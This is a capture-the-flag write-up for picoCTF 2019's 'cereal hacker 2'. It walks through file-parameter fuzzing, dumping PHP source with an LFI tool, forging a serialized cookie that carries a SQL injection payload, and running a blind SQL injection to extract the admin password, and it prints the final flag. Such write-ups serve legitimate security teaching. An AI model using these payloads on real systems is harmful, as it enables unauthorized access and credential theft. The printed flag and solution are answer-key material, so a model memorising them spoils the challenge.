# cereal hacker 2

## Problem

> Get the admin's password. <https://2019shell1.picoctf.com/problem/62195/> or <http://2019shell1.picoctf.com:62195>

## Solution

1. Scan for files that can be loaded using the `file` parameter in the URL (`http://2019shell1.picoctf.com:62195/index.php?file=FUZZ`):

   ```bash
    kali@kali:~$ wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt --hs "Unable to locate" http://2019shell1.picoctf.com:62195/index.php?file=FUZZ

    Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

    ********************************************************
    * Wfuzz 2.4.5 - The Web Fuzzer                         *
    ********************************************************

    Target: http://2019shell1.picoctf.com:62195/index.php?file=FUZZ
    Total requests: 4652

    ===================================================================
    ID           Response   Lines    Word     Chars       Payload
    ===================================================================

    000000487:   200        25 L     71 W     1108 Ch     "admin"
    000000493:   200        0 L      0 W      0 Ch        "admin.php"
    000001222:   200        6 L      17 W     500 Ch      "cookie"
    000002014:   200        12 L     33 W     993 Ch      "head"
    000002151:   200        0 L      0 W      0 Ch        "index.php"
    000002468:   200        34 L     82 W     1423 Ch     "login"
    000002148:   200        215826   575537   177337523   "index"
                            6 L      7 W       Ch

    Total time: 62.45093
    Processed Requests: 4652
    Filtered Requests: 4645
    Requests/sec.: 74.49048
   ```

   The `--hs` argument hides responses that match the specifies regex. When the file is not found the text "Unable to locate" is displayed so those responses are ignored.
2. Run [P0cL4bs/kadimus](https://github.com/P0cL4bs/kadimus) with `./kadimus -u https://2019shell1.picoctf.com/problem/62195/index.php?file=FUZZ -S -f admin --parameter file` to find `require_once('cookie.php');` in `admin.php`.
3. Ouput of `/kadimus -u https://2019shell1.picoctf.com/problem/62195/index.php?file=FUZZ -S -f cookie --parameter file`:

   \`\`\`php \<?php

   require\_once('../sql\_connect.php');

   // I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie class permissions { public $username; public $password;

   ```
        function __construct($u, $p){
                $this->username = $u;
                $this->password = $p;
        }

        function is_admin(){
                global $sql_conn;
                if($sql_conn->connect_errno){
                        die('Could not connect');
                }
                //$q = 'SELECT admin FROM pico_ch2.users WHERE username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';

                if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) {
                    die("SQL error");
                }

                $prepared->bind_param('ss', $this->username, $this->password);

                if (!$prepared->execute()) {
                    die("SQL error");
                }

                if (!($result = $prepared->get_result())) {
                    die("SQL error");
                }

                $r = $result->fetch_all();
                if($result->num_rows !== 1){
                        $is_admin_val = 0;
                }
                else{
                        $is_admin_val = (int)$r[0][0];
                }

                $sql_conn->close();
                return $is_admin_val;
        }
   ```

   }

   / *legacy login* / class siteuser { public $username; public $password;

   ```
        function __construct($u, $p){
                $this->username = $u;
                $this->password = $p;
        }

        function is_admin(){
                global $sql_conn;
                if($sql_conn->connect_errno){
                        die('Could not connect');
                }
                $q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';

                $result = $sql_conn->query($q);
                if($result->num_rows != 1){
                        $is_user_val = 0;
                }
                else{
                        $is_user_val = 1;
                }

                $sql_conn->close();
                return $is_user_val;
        }
   ```

   }

````
if(isset($_COOKIE['user_info'])){
        try{
                $perm = unserialize(base64_decode(urldecode($_COOKIE['user_info'])));
        }
        catch(Exception $except){
                die('Deserialization error.');
        }
}

?>
```

This reveals why SQLi will not work anymore. The website moved to prepared statements (`if (!($prepared = $sql_conn->**prepare**("SELECT ad`...) which are much safer. However, the `siteuser` class does not have this. It is vulnerable.
````

1. We can use the same format from `cereal hacker 1` but with `siteuser` instead of `permissions`: `O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:11:"' or '1'='1";}`. Use [CyberChef](https://gchq.github.io/CyberChef/) with the recipe from before (`[{"op":"To Base64","args":["A-Za-z0-9+/="]},{"op":"URL Encode","args":[true]},{"op":"URL Encode","args":[true]}]`) to encode the cookie.
2. Run `curl http://2019shell1.picoctf.com:62195/index.php?file=admin -H "Cookie: user_info=Tzo4OiJzaXRldXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7czo4OiJwYXNzd29yZCI7czoxMToiJyBvciAnMSc9JzEiO30%253D"` to get admin page.
3. Run [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Web%20Exploitation/cereal%20hacker%202/script.py) to get the flag. This script performs a blind error-based SQL injection. It sends a request with the cookie from above, but it changes the password field using the pattern below:

   ```sql
    ' or password like BINARY 'p%
    ' or password like BINARY 'pi%
    ' or password like BINARY 'pic%
    ' or password like BINARY 'pico%
    ' or password like BINARY 'picoC%
    ' or password like BINARY 'picoCT%
    ' or password like BINARY 'picoCTF%
   ```

   The program loops through ascii numbers and characters, trying each one until a login is successful. When the login is successful, the program appends that character to the stored flag and starts the loop again. The loop runs until the login is successful by adding the "}" character ("}" is end of flag) or until the list of characters is completely looped through in one iteration. If the second case were to happen then that means no character tested as valid or the end of the password has been reached.

### Flag

`picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}`
